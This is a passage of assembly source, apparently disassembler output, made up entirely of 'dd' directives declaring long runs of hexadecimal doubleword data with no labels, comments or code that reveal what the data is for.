		dd 0BBD43B58h, 6C001B49h, 3A5C7A51h, 9B0483h, 4622A41Ah
		dd 66171D4Bh, 378A3900h, 0C8AFA0AAh, 5A9F0053h,	7C72E052h
		dd 890057CAh, 35024FFAh, 33D314h, 2806BFE3h, 29D0D75Ah
		dd 6F0BE600h, 32CC1B34h, 0FF1A1C05h, 479EC08Dh,	845C9051h
		dd 37A67118h, 5DD88h, 3AF45CFh,	7BFB29DFh, 0B100C47Fh
		dd 0E9B3BC84h, 25F8A1h,	0F172AA15h, 35944D8Eh, 0CD886400h
		dd 28A7C9B6h, 0C0597FD6h, 0DB169611h, 8201E151h, 2CA15C8Eh
		dd 0E040CB3Eh, 135563Ch, 371BFCBBh, 0FC85FEB2h,	652A49BCh
		dd 0B4028C36h, 12B87E28h, 0AADA8099h, 0B18214h,	0AC3D8823h
		dd 80D4B3A0h, 5547BA00h, 42DE76D6h, 710D00FDh, 4D31DC13h
		dd 5000C01Dh, 0BB1554Fh, 0A75A16h, 0ACF39160h, 0BE73D143h
		dd 7AA1A5Ch, 868C74DDh,	2EBA3F30h, 26B300CCh, 0E5143415h
		dd 0E40B549Eh, 80455FBBh, 0BF774A1Ch, 6F97003Ah, 7F14FB2Fh
		dd 3EF49BA3h, 0C2CE910Eh, 0C919E0AAh, 0A54884h,	4E9E3AFFh
		dd 6D07EE03h, 0E3F05901h, 8DFFCA9h, 0ACE01180h,	0DC031F0Dh
		dd 0C0F72C77h, 80C27869h, 80F7D389h, 0DF3A558Ah, 0C3FC00AFh
		dd 0F3C97EE8h, 0CE1D9C6Ch, 6BC0C7BFh, 43EE742Bh, 56E730A2h
		dd 0BFC8B241h, 0BDD6C407h, 9DF1CCE1h, 0B4405219h, 0FB3CD08h
		dd 262A44E4h, 0CC302260h, 0E50761D4h, 0BE2B8A68h, 0B8CBE6C0h
		dd 0F50A00D0h, 22436614h
		dd 98F6D629h, 0FB111200h, 0B5065FDh, 7D0F02CAh,	8DCC10C0h
		dd 7038740h, 3525E52Eh,	0D92C003Dh, 0E2374993h,	92220062h
		dd 2EFECD29h, 0DD0B47C3h, 81864489h, 5C4C2451h,	1E975020h
		dd 40CC8DCAh, 60126B22h, 2A487E9Ch, 4EDA0778h, 0ECFAD15Bh
		dd 48E14C80h, 0EA3EFBD8h, 0C01500F5h, 3CBD7554h, 4509C50Eh
		dd 208DCBA9h, 366E31B4h, 8403491Eh, 55E03400h, 5668221h
		dd 0FE1C5F09h, 0CCAC21CAh, 39818EEAh, 0B0F7612Eh, 136ED067h
		dd 68DE691Dh, 33BD349h,	0F8246B3Ch, 0BD1B12h, 1C5B961Fh
		dd 9C46E4C9h, 0AA014800h, 0A0798056h, 0F6B20197h, 73342F2Bh
		dd 41C02053h, 0B7012890h, 0BB064970h, 0E44596A5h, 5E231F00h
		dd 341742Ch, 0FAB7936Ah, 50983C56h, 0CE00B5DCh,	0D41CC954h
		dd 79043E64h, 177704C6h, 843C331Ah, 7381C734h, 89B097E7h
		dd 5648A974h, 63600C1h,	0BEBDD8ACh, 0F20D00D7h,	0B446717h
		dd 0D4716DFBh, 517D2500h, 0F7D8713Ch, 38EF0023h, 46402642h
		dd 8000B497h, 6AFB1FEEh, 0EA7758A2h, 566000ADh,	0EC4C0E71h
		dd 0AD9811DBh, 0C0D0FC1Ch, 812EB849h, 1D8CFE50h, 0CB006C23h
		dd 4CE767C5h, 5EB0786Ah, 0D51D8300h, 72A2FD94h,	0A67400F0h
		dd 0D2476BDCh, 5E00E9FAh, 0CE01D9F1h, 1FA1905Fh, 0CFAE6CC5h
		dd 0DEC729C3h, 587A31E3h, 7E05EC57h, 0D0F82F00h, 0C106BCFBh
		dd 49540030h, 1093F30Eh, 8200DCF7h, 4EDF4AB5h, 0A310Fh
		dd 1747B0AAh, 27BAF051h, 9989DB0Eh, 0F430C246h,	63A4425Bh
		dd 6BF00016h, 0EF510B76h, 8E39B8D9h, 0E2332CB7h, 75CAB500h
		dd 3D3C8B42h, 0D33FA9ABh, 2990490Eh, 0DFA2A740h, 9539B682h
		dd 0ACA3002Ah, 924F8CDDh, 5F2B0C2Fh, 0DA680BC9h, 0BE807601h
		dd 331DFB32h, 3A009832h, 753BE37Eh, 0C530C426h,	65BE18CFh
		dd 6782F05Eh, 805D117Bh, 6D0288B3h, 0DA08A300h,	43B6BB80h
		dd 665B0648h, 48E72E8Ah, 3320F902h, 486096D2h, 0F823E590h
		dd 3F9D00F5h, 6E804E50h, 10A0BED2h, 7500035Bh, 55F3DF20h
		dd 0A50593h, 0B908854Ah, 8FA84D98h, 7297B600h, 5BBF5431h
		dd 589E00D7h, 903B3D22h, 34002AFCh, 7D20262Eh, 140A54h
		dd 77D1099Fh, 53DF139h,	0A5805C00h, 0A9469734h,	0E97348h
		dd 2EA610BBh, 0C9FC1B73h, 0F040D100h, 947E0BFh,	18E50774h
		dd 77288BE1h, 179700E4h, 67701BC4h, 6593AC0Eh, 0AD526064h
		dd 0E6A7B30Eh, 0D307007Eh, 3F2F2CC7h, 1B005678h, 0F32548A3h
		dd 750F8B8Fh, 430B00A7h, 1D9AFA4Ch, 0F607F112h,	0FB732669h
		dd 68713922h, 1308BC60h, 0F3CA025h, 5F216819h, 806B3A53h
		dd 0B6985421h, 0E41E39h, 7F91BB1Dh, 7E1C0207h, 0FB02FC76h
		dd 0F06066B7h, 0BCB4A15Eh, 1FF1A956h, 0EC40ACE9h, 6A52E88h
		dd 0C2B97DBAh, 93302872h, 7C1E316Dh, 0BAF3078Ah, 90B9C852h
		dd 0D1287BF7h, 0BF20DE00h, 0C5B7699Fh, 0DC563BD5h, 40384512h
		dd 57D96A2Ch, 15003427h, 0A0AFCC19h, 1CFFAA36h,	40DDD470h
		dd 5E5072F2h, 0D1C7743Ah, 5A90A127h, 7BF92668h,	318B04DEh
		dd 805281FEh, 0B1F09234h, 7093B218h, 902D60A1h,	8FEE1Ch
		dd 54E245ADh, 0CCA9C78Bh, 0B758A701h, 0DD7242C4h, 360FA480h
		dd 0E5B4DB7Ch, 0F6602414h, 0AD0C818Ch, 57E891D4h, 4AFB2EB2h
		dd 0D6384128h, 1AA18F68h, 39096054h, 603A563Eh,	0B449196Dh
		dd 4A37B196h, 93352010h, 5B5180BFh, 620042C8h, 0F4965D40h
		dd 0D3679Ah, 6C738C0Fh,	2DA3868Ah, 0AF6B3Ah, 0E8CC905Eh
		dd 5C25BDA1h, 6F7E14F7h, 21B808EFh, 0A100D06Bh,	6F55CC54h
		dd 7F57446h, 1EB07E84h,	0F79C37EBh, 192DA0FEh, 8D0051A0h
		dd 0A567D33Ah, 0EEE5C93h, 9176D4ACh, 57B05098h,	0A296500h
		dd 135A4050h, 304F7468h, 0D120AD7Eh, 0A700645Fh, 822B4B8Ah
		dd 381CEFFh, 1A2835C4h,	48009071h, 0C962EEA5h, 3A241BFDh
		dd 4D80B849h, 0ACBB7A96h, 0C73960CEh, 7BDB8C01h, 6C5088D0h
		dd 0D3906083h, 65540D8Ch, 13880A26h, 21008748h,	47645CD0h
		dd 1822F5D6h, 8874E99Eh, 0B2A02955h, 94A8AA83h,	0C0E89DACh
		dd 11A40430h, 4B502643h, 1BA1FC54h, 0F60922A8h,	2EE30321h
		dd 0AD9EB50h, 0CB08F5B8h, 0B0BC5730h, 0B0EE190Bh, 0AA7BBDh
		dd 0F5ED4B74h, 46350785h, 2CE46E54h, 0A1E9048Ch, 62FF25B2h
		dd 0D16A2095h, 4901A9A1h, 0C041436Ch, 0A8506E1Bh, 8F3A73h
		dd 939ECB7Dh, 1F7A2F03h, 82DA5A00h, 0AFE7FD5h, 9180F139h
		dd 57F2FF83h, 5D0A5E9Eh, 844F7A19h, 69413C1Eh, 249C67F8h
		dd 4670D4h, 1F0D732Ah, 595B24Fh, 36B1A100h, 8BB6F320h
		dd 9F80003Dh, 0D2F9699h, 0AC008153h, 0ECDAB34Bh, 0B0D2B764h
		dd 2BF90093h, 31BC84A3h, 5D00F323h, 4E35FC2Ch, 269D1D44h
		dd 289FF8A0h, 0E41701DDh, 0AF3E1F38h, 1142DF7Bh, 3DCDA004h
		dd 7010C013h, 1ED2E7B8h, 6BB6BE00h, 366CCC3Bh, 9250022h
		dd 0DF9C44CDh, 0E63270BBh, 208229E5h, 0B71D5B41h, 0BC773F00h
		dd 1E501FD7h, 13C78ECh,	5525D9AEh, 0F1E4E503h, 0CF81E27Fh
		dd 3070AA68h, 520082F2h, 3DA7617Ah, 278C9Bh, 0F1AC8DFEh
		dd 0D368296Dh, 1CE0B900h, 80B166F2h, 4EAF0070h,	0F76F2CEEh
		dd 8C0001A1h, 990A614h,	6B80A8h, 6E21D91h, 8871B830h, 749AC300h
		dd 0B9503576h, 97C90073h, 26108001h, 7B03F8B3h,	5948C286h
		dd 14BC865Fh, 8C187D3Fh, 9D228300h, 8E0958F3h, 6AEA3500h
		dd 50EE4829h, 733F0038h, 3C7E1F81h, 6500F234h, 0D72A609h
		dd 67B0B2Ah, 8C4D68A9h,	0AC0011F3h, 0D69E4505h,	3FA367h
		dd 469ACD55h, 14EF9738h, 355D3300h, 0A9A67960h,	0E6762C86h
		dd 0E30601BCh, 0D855BC0Eh, 0BA01FA3Fh, 0AC0F1887h, 6CD895CDh
		dd 0C4C850EEh, 0A9AA00B0h, 0EE2B1AFh, 42E4D919h, 0D7D01D2Eh
		dd 37D47500h, 0AD318Ch,	309833E7h, 3D80215Bh, 0CFAD512h
		dd 977200ABh, 1C627E4h,	4FF25301h, 12AC846Fh, 55F880FDh
		dd 0A1DD09EFh, 2404E718h, 0B2008E40h, 79701897h, 735BC600h
		dd 69C40CDBh, 91D23B83h, 0E9BD5D00h, 2689E5EBh,	7E004D7Ch
		dd 0F102C2A6h, 874922h,	0CBC79272h, 3BAF31C3h, 0F4A33F3Eh
		dd 2A4CD500h, 39543650h, 226009Fh, 0A7B22F84h, 4DE6A1C8h
		dd 0AA5C20C0h, 0AB1A4h,	1EBE21EFh, 0AE0E4901h, 9E7BFC18h
		dd 0E4A950h, 0A6322DEDh, 0FDE36138h, 0A72481Fh,	6D7003Ch
		dd 0F49F29AFh, 756F038Dh, 98C2A211h, 0C83187C1h, 133A7910h
		dd 9D690320h, 0B85D34ABh, 1D301584h, 80F9A8D6h,	0D7DE89F1h
		dd 0D42D99CBh, 0A32A606Ah, 0D36B0F27h, 31406CDAh, 0A8342148h
		dd 0A781AF0Fh, 9A0181Eh, 35DC4842h, 3D601D00h, 204242Bh
		dd 4C1C8000h, 91F1C0BCh, 2AEB00ADh, 6583394Dh, 9F28597Bh
		dd 8F00F0E5h, 4453BBF6h, 6A42FDh, 0AC37C95h, 0D6BF1589h
		dd 0B9B5AB00h, 0EC381E9Bh, 16C1003Ah, 64EB6E76h, 8F0039BBh
		dd 1326E085h, 39E95643h, 0A5A43336h, 0A23700C8h, 0CE2BF16h
		dd 6605C64h, 44CF50D2h,	714F00FCh, 0CCB58AC6h, 48C04BEDh
		dd 3035DC6Dh, 1E9840EAh, 72627E00h, 212641D9h, 0D2AE00CAh
		dd 11A53792h, 56FE1BEh,	14F1E460h, 3D1AC200h, 0D776154Bh
		dd 8C4E7A00h, 0BBC68F0Fh, 0A17800BFh, 1AAC3E41h, 0D71C653Ch
		dd 7040A6A9h, 16E653C6h, 9162012Bh, 0F563DB22h,	287C606Fh
		dd 0C0C92E00h, 1A291649h, 0A7DF003Ah, 1E66C1E8h, 0F90040D8h
		dd 7AB56B99h, 0A8817Dh,	57CF4C77h, 0F60C52C2h, 0E8F2E500h
		dd 129F95D3h
		dd 0BDA8A1F3h, 0DC6440CAh, 801900C5h, 0D3586064h, 0F973A5A2h
		dd 4766B403h, 0F0B30FEDh, 76BED01Bh, 328C0071h,	220A56F5h
		dd 5500B2A4h, 9F3BF1E0h, 1E119067h, 4044052Ah, 4D2F4696h
		dd 6A02E051h, 5E154A69h, 73C48016h, 7E6686h, 9E46927Dh
		dd 0B563751Dh, 8CD20A00h, 68785F90h, 951200CCh,	8AA37438h
		dd 6A006F56h, 3047099Dh, 1D3A2B83h, 8072A26Bh, 9E816CF5h
		dd 123B840Dh, 3EA50036h, 0E5352738h, 658703BEh,	0B2E1379Ah
		dd 80FF76E3h, 0A2302F3h, 1493A000h, 254B356Dh, 82730FE5h
		dd 6560ED70h, 0D97DACD3h, 43FF0B00h, 92A1531Ch,	819A50D7h
		dd 0EB60003Fh, 0ADD237B6h, 0FB01E2CAh, 3C8BD631h, 146028D4h
		dd 0D543E2Ch, 0EFD1CD80h, 0AE158163h, 94078E7Dh, 50B87B6Dh
		dd 60969811h, 118011DDh, 3A1D3CC1h, 69002A5Ch, 22EF5FF5h
		dd 13370Ah, 6CBC1CD5h, 0EC23F4B8h, 77807000h, 0A6A0C98Eh
		dd 50530046h, 859EB14Fh, 65FFC3FFh, 0AD60EACCh,	190E432Dh
		dd 0A0D83BDDh, 9CFB9193h, 255F28CCh, 8CEA80h, 7DE74A9Bh
		dd 3BBC1135h, 0F5C51B00h, 0F2F08160h, 3E270037h, 57662F87h
		dd 0AD00FA6Eh, 5EB8EF98h, 0CC412Bh, 0E34099D0h,	642926F7h
		dd 0EC45941Ch, 252AFB40h, 43AE90h, 6AF25831h, 0DEEEAF6Fh
		dd 53352B07h, 0F09CF789h, 0CC0B00B6h, 0AA5B8B05h, 21E6026h
		dd 9541DAD2h, 0B769E55Ch, 39C740CEh, 65BA0075h,	19F609F1h
		dd 420F2D31h, 49B4A8EEh, 62FC201Ah, 26790571h, 8028DE5Bh
		dd 3C6FD601h, 673C6425h, 745D805Eh, 7A31FF87h, 5A410955h
		dd 0B8037E18h, 54B06879h, 2E3A7204h, 4867AC65h,	3C247480h
		dd 5C16253h, 0BB7AB14h,	6784D0E0h, 887813F0h, 28A0341Ch
		dd 12897006h, 209E3890h, 0F724033Ah, 0A9131834h, 20A0EF96h
		dd 0F3182C63h, 6F086D73h, 9C885CC7h, 0CC7C75h, 6314A094h
		dd 9634E88Dh, 651CC850h, 34508C68h, 0C56A983h, 4748026Fh
		dd 0B12986Dh, 520A0C49h, 610C1438h, 0FF6D0A3Ah,	9068CB96h
		dd 340800DFh, 0AA71EF6Bh, 0F117BCEh, 9D2597B6h,	7CFA7A23h
		dd 0E2FEC288h, 11D21500h, 7F72C0C4h, 6F9B0004h,	81964D4Ch
		dd 6A00D6EAh, 0B411643Eh, 4AE548h, 1FBEB75Fh, 32CDC7C0h
		dd 7B6E8000h, 278DB91Bh, 9A9D004Eh, 0D2C92A97h,	0BF000398h
		dd 0C1443ED8h, 0EC43CF2Ch, 3AA83A0Fh, 0E5225181h, 0D0EDD390h
		dd 560077A3h, 947E5FD9h, 0B0805508h, 0E221005Ch, 796DDFCh
		dd 0C00C3DB9h, 0CA385B10h, 0CD70B588h, 69AA488h, 61056400h
		dd 0ED0A6BD9h, 7E2B013Eh, 291F16A0h, 0D565D08Ch, 3058AF30h
		dd 1237FE8Eh, 906F05D3h, 3CF6658Ch, 0A3E3481Eh,	0DF1801D3h
		dd 93E418h, 5CF289EEh, 15D08D6Ah, 0BE8C351Fh, 4F38C900h
		dd 60EF6377h, 0CD1F49EBh, 0DF026974h, 8FD00E7Bh, 5E2FE03Bh
		dd 3B97F6ACh, 10053CA6h, 83967E17h, 0CAA06F3Dh,	180044FDh
		dd 57F94201h, 0F0C46DBEh, 7E690B9Ah, 1000828Eh,	0A9EB08BFh
		dd 0CF9286Fh, 53C109h, 68EE06D1h, 941C514Fh, 931D6CA0h
		dd 822CCF3Eh, 6101CC39h, 842923C1h, 8033CD99h, 0F0DCAA11h
		dd 7C8D9712h, 81E012A8h, 585F064Fh, 217998DEh, 0CC00BAF8h
		dd 65FABB11h, 4D3A55h, 2B58B0DDh, 674973B4h, 0C60D8B00h
		dd 6EFB784Eh, 430B0C11h, 4CB254BCh, 34D33000h, 0A23D6A84h
		dd 3CCF496h, 24C63E70h,	0BB98D49Ah, 0EE000569h,	6786B3FCh
		dd 19C5A711h, 102C8B8Fh, 7328812Bh, 0A3FF5CB0h,	0C5E51980h
		dd 26C0213Ah, 677A1910h, 0DAFA7100h, 569AA1A2h,	0BB78DF00h
		dd 7422D1B8h, 4879BFh, 7AA768E4h, 71FE0EB6h, 86A11600h
		dd 956637D4h, 0CDE00042h, 8D805676h, 0ECF14CCBh, 353C21F6h
		dd 3907011Ah, 0CABCA111h, 608AD3C0h, 0E0AEB0B6h, 873C4996h
		dd 59A0F26h, 80A48EB2h,	532F5FA0h, 0C8F8E5h, 90E4DC5h
		dd 2C8C3045h, 7F607672h, 3F13EE9h, 4496303Dh, 0A2208B10h
		dd 80377A38h, 8A39A61Bh, 757C4E43h, 41F1DCBBh, 9DAF239Fh
		dd 865087F9h, 71003A4Dh, 0C2567Fh, 0C5334C97h, 0CF1F1C42h
		dd 0E7AE4700h, 0A67A8FDCh, 0B45900C1h, 721A6092h, 7C003CEDh
		dd 14C36DA4h, 8FBA56h, 8B506318h, 0E6278568h, 58406963h
		dd 0F0BBC9EAh, 0C1645080h, 0DEECFC18h, 448510C0h, 1E035h
		dd 0DC5E9AEEh, 69090591h, 18C3AF71h, 0F02ACB88h, 0ED6C78Fh
		dd 15BE7F56h, 60444C06h, 6B18DE00h, 0A2DF734Fh,	50FE3A6Ah
		dd 7F809E00h, 14A1B76Fh, 0E46C1701h, 0B9667345h, 37E6D99Fh
		dd 9EF3F041h, 3800ECC2h, 0D2FDA457h, 1056B2h, 923AB934h
		dd 0DE7E121Eh, 473083F3h, 0B9A1493Bh, 0D0D0AFB0h, 0F91C19B2h
		dd 0FCAA511Bh, 5B004B20h, 2D03D3DFh, 1E8D0Eh, 97399A93h
		dd 0D8AF1D68h, 5BC088DDh, 757011A7h, 7B56F4F5h,	0FEBB007Ah
		dd 0C361CB3Ch, 8319AA21h, 401147EEh, 140C044Fh,	7B1041B1h
		dd 0E2013D76h, 23ED6FC1h, 0F6DC470Dh, 0C53C0310h, 0AF0AB814h
		dd 0AE6F2811h, 1504A121h, 0AC083DCAh, 22CBC642h, 48272295h
		dd 9E088B8h, 98C71A88h,	223A51C9h, 0AD7196E2h, 3C1BD601h
		dd 0C25E3DFDh, 1AEDE4h,	7C3BF331h, 7AF12441h, 5BC0A000h
		dd 10AB0609h, 95F9077Bh, 97410456h, 86ADE02Eh, 8D00658Ah
		dd 0CED56A61h, 0E9A52h,	0EBBDB0A6h, 831AF36h, 0ADF76D00h
		dd 929F8D78h, 2B6A0056h, 909998BCh, 0C074B19h, 8CCB1E04h
		dd 0A4757Eh, 0BD55768Eh, 3A228172h, 0E9BD9B13h,	578E300h
		dd 5624AAA9h, 0F519E100h, 0CF2B0223h, 607200B0h, 75411E09h
		dd 0E002C20h, 50F4E63Dh, 0E6124A4Bh, 9DAB015Ch,	8E8058C9h
		dd 95D85005h, 1F004F67h, 0A27DCAC2h, 9DB05B06h,	57000950h
		dd 3F1B50ABh, 4734F6h, 74BE20FBh, 0D310E18h, 30C0600h
		dd 0B34E6B46h, 0E86791Ch, 61CAD419h, 0D7768A80h, 9600D9F8h
		dd 0BB454FEDh, 0A599Fh,	0D4B4AFF0h, 0F6337FD0h,	407BBA00h
		dd 5CBF3723h, 3B3F001Eh, 0C96A2686h, 0DE00EBA3h, 31954A92h
		dd 0C27399h, 9E838D7Fh,	12D4165Ch, 13D6400h, 931A56FDh
		dd 62B90032h, 87A8D6C9h, 9100196Ah, 3F203CE3h, 3A5A959Bh
		dd 43BA1B60h, 7E81D680h, 8E9BCD7h, 0F2CF4100h, 2A9A99EDh
		dd 20EE0E71h, 96C04B2Dh, 0DB6DFF72h, 0BFA748h, 0E5D392CBh
		dd 5735F9h, 0D2512DB4h,	421AFCF8h, 4A024CF0h, 0A1F6E6F0h
		dd 92415573h, 31BFC039h, 0EAAC800h, 9A0F320Bh, 0AFD70784h
		dd 60CFD1h, 421DB85Eh, 4DFD2F2Eh, 8E0A9326h, 0C480AC78h
		dd 2854AF1Bh, 0A1E602F6h, 98BB02FCh, 9DB83EE0h,	0CF697701h
		dd 2BF4D48Ch, 0D17025C5h, 486770B9h, 46240434h,	540404FBh
		dd 820483CEh, 14148C4h,	7BF457FEh, 6AEE4A1h, 3300C677h
		dd 1CBFBDB5h, 90E6963Ah, 850B0308h, 0FBE3B3E0h,	20981000h
		dd 82DDFFC1h, 783C000Ah, 344EF46Ah, 0D9002FEBh,	0FF83BFEh
		dd 24722292h, 564DE1Bh,	0C704A2B4h, 0EB326013h,	0D3008F8Bh
		dd 6B54DBE0h, 0DE25B2h,	7C584B37h, 6AF13398h, 480CF0EBh
		dd 34220400h, 80056F2Ch, 141D2C93h, 43003DE7h, 8330B7F4h
		dd 0D40B5F4Ah, 80D5E913h, 0E4035C0Ah, 50F200DDh, 3063228Ch
		dd 0DB00E576h, 0CA6141F8h, 78D20CBCh, 6E4A0F79h, 827CC33Ah
		dd 0D428CB37h, 4009E540h, 2CCA3100h, 140FD6DFh,	94010307h
		dd 371AB585h, 767970E8h, 0FDD39C00h, 96251DC4h,	0C6230127h
		dd 843A8F0Dh, 0EC9AD4BCh, 0BF0673FAh, 2DC4E67Dh, 0F757D60h
		dd 499FB455h, 0AE4A00BDh
		dd 28C41344h, 665D8100h, 5CDE724Bh, 0E448C507h,	9BF400E0h
		dd 0F6DAEFFAh, 0B7077C90h, 9A6F2F47h, 70FE20E0h, 38300E0h
		dd 3177B6A7h, 0D60BC51Ch, 544634h, 5824FE46h, 0C0EB09C1h
		dd 5080CFF2h, 4A70B00Fh, 301CA548h, 0DCC82857h,	1F2003Dh
		dd 137398A1h, 1200B32Ah, 6B5FD467h, 0B4522949h,	46C800C8h
		dd 0F1C24278h, 0FC6F771Ch, 0FD80DCDFh, 0B513EED0h, 735B005Dh
		dd 40E96B27h, 5E17334Ah, 280EF60Ah, 61FBE17Ah, 2180652Ch
		dd 3E2AF915h, 0D50CE0A1h, 186E4F09h, 437404B2h,	0C008E327h
		dd 0A7A8554Fh, 0FE1D0501h, 9B7C6885h, 1FF50CF8h, 525B0ABAh
		dd 0E120009Ch, 55F3CCECh, 0C8FB7D00h, 9E7FBBFDh, 9EA7743h
		dd 0CC7667CBh, 0A91000DDh, 3070D8h, 0D7714960h,	43CFF7E7h
		dd 0DBC5731Dh, 6B3982C0h, 55EF448h, 0D9A25A3Ah,	79100DFh
		dd 0A47EFA9Dh, 8300F790h, 490355F8h, 0EFDBD3h, 0B723AF37h
		dd 0D5CC4035h, 2BB4BA01h, 759D14BBh, 97FCC20h, 0EFE53EFBh
		dd 720C4A0h, 4400DDC7h,	0FF3CF8B6h, 0B956E0h, 320211CAh
		dd 71A88593h, 0CE23F700h, 77E264D2h, 4D500D0h, 398F58AAh
		dd 6E003335h, 6F1061FAh, 0F5057EA0h, 24E878DDh,	76D005Bh
		dd 0C804C6DDh, 8018916Ch, 83296ED8h, 749400A4h,	0CB432771h
		dd 761F148Dh, 2DCEB862h, 1A1D401Bh, 955C47h, 0EE02BA3Ch
		dd 946372C1h, 0F285F41Ch, 0A6A80BBh, 8BEA17F5h,	499C1EE3h
		dd 4023DEE2h, 0B9020FD9h, 510078C5h, 878CDA5Fh,	4FABAFh
		dd 10B0888Eh, 46644D03h, 0F7C55007h, 0BD09B36h,	0FB9FA5h
		dd 0EE64847h, 0FF93DB2Ah, 0B86B4F00h, 6CCFD45Ch, 0BA4A0FF2h
		dd 0AAE061B3h, 74450763h, 8BE0B900h, 5209CCC4h,	0CE5700D2h
		dd 3EB1BBE4h, 5A00D553h, 6015C3CDh, 26507Eh, 3C1E31BCh
		dd 48F61B09h, 0F76E3007h, 0E5C0FB5Ch, 1FF0C665h, 81A6735Dh
		dd 6F9F3C2Ah, 7840701Bh, 46261800h, 94A5F9A1h, 2DB700DCh
		dd 0F9BB884h, 2AFA2BEBh, 0A6918900h, 0CB692316h, 0C45D009Ah
		dd 7CC8B027h, 0E6073B3Eh, 2F4C8B01h, 90B5BA53h,	8165CCh
		dd 6EF91BC8h, 24685062h, 0D4006CE2h, 0FB3802Bh,	0E48E73h
		dd 0ABE72DBCh, 0BA29822Eh, 0FBD7ED00h, 0FFDB324Ch, 72D1C01Ah
		dd 3DD0C5A6h, 0AF803Bh,	0A4A36CD1h, 12D0A68h, 0C0550616h
		dd 0F42F7E7Ah, 9363D757h, 0A0766529h, 2B8AD68h,	56E3387Bh
		dd 2A405E9Ah, 283024F4h, 0F6B4A472h, 0D53E0032h, 52D6E8D2h
		dd 0C370700Ch, 3355000h, 133355DDh, 9D9A00EAh, 1B8D4539h
		dd 7C60F216h, 0A8EDA129h, 0B17511h, 281DB655h, 93AA6A51h
		dd 409A5400h, 142C4B0Ah, 9B3700BEh, 172052Fh, 50F0959Fh
		dd 79D8B7h, 96B98680h, 4523425Fh, 0B819B300h, 3E375897h
		dd 0A4800018h, 99CCDCB6h, 0F4017155h, 698932E3h, 5DD9D601h
		dd 5124BD0h, 68C97E48h,	0DF8C0754h, 0AF9AC1C8h,	82EE3055h
		dd 44313A00h, 23BB1D91h, 24817B73h, 30DF367Fh, 8ED0907Eh
		dd 6D61BE70h, 1E8A462Eh, 26EDD4h, 0A129EBA5h, 66C1840Eh
		dd 0A77F650Ch, 73531C8h, 24869D19h, 3846D0FFh, 260F8F77h
		dd 40ABAD98h, 2E943E13h, 5496000Ah, 5B372832h, 0C401ED65h
		dd 5F7A076Eh, 1DF0DBA4h, 171F00AFh, 0E1ACD27Ch,	0B81D24B3h
		dd 19C01402h, 0EC6C783h, 37A000EEh, 454A0856h, 5160DF34h
		dd 0A6B20CD2h, 77031C66h, 0F9BD008Ch, 5AD3CC96h, 241D760Eh
		dd 0F51000A9h, 1793215Fh, 490CEFh, 0D2E06A7Ch, 0DE00BCCBh
		dd 5E1B072Ch, 24666F42h, 46F412h, 0F7ED4B28h, 0D409B508h
		dd 553BD9h, 419754F0h, 31BD0110h, 0E9754074h, 5FCD70EEh
		dd 0F586A18h, 1C9FC0h, 1064E56Bh, 955B56D8h, 0E7996100h
		dd 0CFA57E8Ah, 0B77004A9h, 805A831Ch, 0B2D8EEDCh, 0EBFAA10Dh
		dd 0C0F490F8h, 0EA3032D9h, 0BE005079h, 3D344032h, 0EF00D7CAh
		dd 6F6EEA3Fh, 7603FA9Ch, 1F0BB3D3h, 0DA2A905Dh,	0CFF01C0h
		dd 2740FE3Dh, 68F820EAh, 8C91413Ah, 386E9AA2h, 26C10009h
		dd 0BAB7693Dh, 0AE3B7538h, 6B02007Eh, 0DC68FC37h, 2BBE00D9h
		dd 0CCAD2744h, 7C008F9Fh, 380A11BCh, 7AFF2054h,	2ACA0030h
		dd 722D4EEFh, 731EF97Eh, 924081FAh, 668BB65Ah, 0E4E230C5h
		dd 82C8D2D0h, 1CA4F400h, 0B7D09F16h, 79EF009Dh,	0C9692D27h
		dd 0F50C9BB9h, 0F031EDF8h, 92BB000Ah, 0FF50412Ah, 762E7FF0h
		dd 0EE016B3Eh, 5871E544h, 16B9820h, 0AD36076Ah,	8156F10Eh
		dd 967487F9h, 0E3C09F2Dh, 5BC00633h, 213567D1h,	5958F600h
		dd 703C8EB5h, 0AE7B076Fh, 0C0E9F851h, 315EF0ACh, 7896A007h
		dd 35F005C0h, 0F0CA6AE8h, 1A270084h, 6EB31E0Fh,	5A3F455Fh
		dd 7DFF00AAh, 0AEA3FBEDh, 762490D5h, 0FC4E00E5h, 545E7C0Fh
		dd 9B7FE79Fh, 0E027EB00h, 0F46ADBB1h, 0FDA600E1h, 20868D10h
		dd 81056C42h, 0CF9D844Dh, 0A10D07FEh, 9F000B8Ah, 6F9ACD97h
		dd 2D2ED605h, 0F01C07A2h, 2A5AE100h, 1639BB7h, 59DC9C44h
		dd 8033C20Ch, 874CC5D0h, 52B10Bh, 7784711Bh, 0E05E64Eh
		dd 8900DA77h, 767926BBh, 7A3F9757h, 0DEE024F1h,	947D80E4h
		dd 0D15EF6B7h, 7B23B90Fh, 27744007h, 0F4B301A1h, 893A07FDh
		dd 20EA3DE2h, 0FC9C16AEh, 6216B3B8h, 5C13351Ch,	0BE993C01h
		dd 78202977h, 0B865015Dh, 28BAA963h, 20F5F994h,	0B013214h
		dd 0CC50666Bh, 13C46CB3h, 4B30007Ah, 296177D5h,	7E01DA52h
		dd 0ACCA7FB1h, 50805AA6h, 50FFD26Eh, 0A880CD79h, 0F02188A5h
		dd 7FB4AB00h, 922B06E1h, 0CE490051h, 0A342401h,	0B200E357h
		dd 3813151Dh, 50F8B983h, 387D94C2h, 9FCE0B5h, 63BAEE44h
		dd 0BF00A009h, 884E32B2h, 58E8EA00h, 0AA386054h, 3EA2B01Bh
		dd 8E8014B1h, 916E4097h, 0E51E022Bh, 4641C4ECh,	8598922Ah
		dd 30D229D4h, 0B8E09B87h, 49003411h, 1DEAD58Eh,	0C2A64h
		dd 386C09A4h, 36136BADh, 7C242F1Fh, 0FCB7CBC0h,	265787C8h
		dd 80BCE57Bh, 58F9BBF0h, 0A8033F17h, 0F57AF3ACh, 872AB05Bh
		dd 78F807ABh, 0A02355FBh, 1AC8C89h, 92FE1C00h, 0B98DC5B0h
		dd 192212FAh, 1D1BEC29h, 80FEF8BDh, 4E5F0502h, 389147h
		dd 69B484EDh, 0A8223199h, 0CE469C92h, 82164000h, 8B283EA6h
		dd 0FA04514h, 0F5BD0394h, 96EC37Eh, 72F3A711h, 28860180h
		dd 9D3BB061h, 0D6C20011h, 6C521236h, 0DD7002F4h, 6F0AA99Fh
		dd 48B1FC60h, 0AA30C861h, 0A8306CF5h, 39560474h, 0C0DA7843h
		dd 402D4CE0h, 0E92AB303h, 0EA1A4A44h, 0AB08490Ch, 6F015063h
		dd 5A3A7108h, 0FF407068h, 5EBF2C00h, 3850E3F6h,	0C9820043h
